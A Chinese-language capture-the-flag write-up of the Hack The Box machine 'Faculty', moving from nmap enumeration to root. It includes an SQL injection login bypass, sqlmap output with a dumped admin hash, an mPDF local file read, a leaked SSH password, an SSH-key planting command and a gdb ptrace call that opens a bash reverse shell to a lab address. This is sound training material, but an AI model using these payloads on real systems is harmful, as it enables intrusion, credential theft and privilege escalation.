Faculty Writeup

概述 (Overview)

image

HOST: 10.10.11.169

OS: LINUX

发布时间: 2022-07-02

完成时间: 2022-07-08

机器作者: gbyolo

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #SQLi #LFI #SourceCodeAnalysis #Capabilities

攻击链 (Kiillchain)

HTB 关于 Faculty

Faculty 是一台 Medium 等级的 Linux 机器,其特点是利用危险的 PHP 组件库,利用该库的本地文件读取可发现一个有效密码,该密码可用于通过 SSH 已 gbyolo 低用户身份进行登录。用户 gbyolo 有权作为 developer 用户运行名为 meta gitnpm 包。而此服务器上安装的 meta git 版本易受代码注入的攻击,可以利用该版本将权限提升给用户 developer。通过利用 CAP_SYS_PTRACE 功能将 shellcode 注入以 root 身份运行的进程,可以执行向 root 的权限提升。

枚举(Enumeration)

开始还是使用 Nmap 软件对目标服务器的开放端口进行识别:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA) | 256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA) |_ 256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://faculty.htb | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

从结果中获悉仅对外暴漏两个端口,其 Web 服务会重定向至 http://faculty.htb 域名。这将是进行大点的目标。

Port 80 - HTTP

浏览器简单访问下 Web服务,发起它是一个已 PHP 脚本运行的,其中 /login.php 需要一个有效的授权码才能访问。

500

简单使用了一下 SQL 注入语句,发现能被成功执行,从而使我们登录了该 Web 服务。

Payload ----> ' or ''='

600

随后对控制面板的功能进行检查,发现一个含 /admin/* 开头的路径,访问该路径可以进入后台管理面板。

image

500

Faculty List 页面中能够找到多组用户邮箱,但目前看下仅有 SQL 注入对我帮助最大。找到一个存在参数传递的请求,利用 Sqlmap 工具成功在 scheduling_db 库中找到一个管理员用户的 Hash。

$ sqlmap -u 'http://faculty.htb/admin/ajax.php?action=login_faculty' --data "id_no=" --dbs --batch ...snip... --- Parameter: id_no (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id_no=' AND (SELECT 4056 FROM (SELECT(SLEEP(5)))iQiT) AND 'uDeb'='uDeb --- ...snip... available databases [2]: [*] information_schema [*] scheduling_db ...snip... Database: scheduling_db [6 tables] +---------------------+ | class_schedule_info | | courses | | faculty | | schedules | | subjects | | users | +---------------------+ ...snip... Database: scheduling_db Table: users [1 entry] +----+---------------+------+----------------------------------+----------+ | id | name | type | password | username | +----+---------------+------+----------------------------------+----------+ | 1 | Administrator | 1 | 1fecbe762af147c1176a0fc2c722a345 | admin | +----+---------------+------+----------------------------------+----------+ ...snip...

但是枚举这段 Hash 无法还原明文,尝试其他路径。因为前面的 SQL 注入漏洞,在 /admin/login.php 页面中可以已 admin 的用户进行登录。随后在 Course List 功能页面中发现存在 PDF 文件下载功能。

立足点(Foothold)

使用 exiftool 对 PDF 文件进行分析,可以在 Producer 段中看到它是由 mPDF 6.0 这个组件生成的。

500

700

从官方文件的描述中可以看到,它是通过传递的 html 字符串进行 PDF 文件生成的。结合 burp 抓到的请求包,简单测试下发现存在 SSRF 漏洞。

image

在官方的 issues 中,能够找到 6.0 版本中存在本地文件读取的漏洞,该漏洞利用内置的 <annotation 标签加载本地文件并生成至 PDF 内做附件显示。

https://github.com/mpdf/mpdf/issues/356

700

发送该 exploit 成功读取到 /etc/passwd 文件内容。

700

而 Web 应用的绝对路径可以在其他地方找到,因为错误信息未被抑制导致可以看到更多详情信息。

700

400

500

利用读取到源代码中的数据库连接密码进行 SSH 登录枚举,发现可以成功登录 gbyolo 用户。

700

$ sshpass -p 'Co.met06aci.dly53ro.per' ssh gbyolo@10.10.11.169

横向移动(Lateral Movement)

首先检查下 sudo 权限配置,发现当前用户可以用 developer 用户免密操作 meta-git

gbyolo@faculty:~$ sudo -l [sudo] password for gbyolo: Matching Defaults entries for gbyolo on faculty: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User gbyolo may run the following commands on faculty: (developer) /usr/local/bin/meta-git gbyolo@faculty:~$ ls -lsh /usr/local/bin/meta-git 0 lrwxrwxrwx 1 root root 41 Nov 10 2020 /usr/local/bin/meta-git -> ../lib/node_modules/meta-git/bin/meta-git

通过检索 meta-git 可以获知它是一个 NPM 工具,它是用来管理 git 存储库类似对 git 命令做了次封装。详见官方库:https://github.com/mateodelnorte/meta-git

700

但在 /var/mail 下也可以找到一封邮件内容。

800

在未找到更多可用信息的情况下,将 pspy 工具传递至服务器并运行进行监听。发现每隔几分钟 sendmail.sh 脚本会被执行,但目前用户是没权限进行查看该脚本的。

image

通过查询 meta-git 的历史漏洞,发现其历史版本中存在一个命令执行。

700

详情可以在 https://hackerone.com/reports/728040 中查看到,运行 clone 参数时其未对内容做安全校验导致可以进行命令注入进行RCE。直接利用该 payload 成功读取 User Flag。

image

随后继续使用该 payload 将 kali 机的公钥写入 authorized_keys 文件,实现免密登录完成用户横向移动

echo c3NoLXJzYSBBQUFB....0QGthbGkK|base64 -d > /home/developer/.ssh/authorized_keys

800

500

权限提升(Privilege Escalation)

首先去看了前面提到的脚本,发现对我们没有什么帮助。继续运行 linpeas.sh 脚本进一步收集信息。

800

在 linpeas 的结果中发现当前用户所属组 debug 是可以访问 gdb 调试软件的,并且还存在 cap_sys_ptrace+ep 功能。而它可以用于往主机内运行的某个进程中注入 shellcode 来进行权限提升。

800

500

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_ptrace

参考上面的文章内容,找了个 root 用户运行的 python3 进程进行操作,成功反弹 NC 会话完成权限提升。

ps -auxwww | grep python3 gdb -p <PID> gdb>call (void)system("bash -c 'bash -i >& /dev/tcp/10.10.x.x/9001 0>&1'")

700

500

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。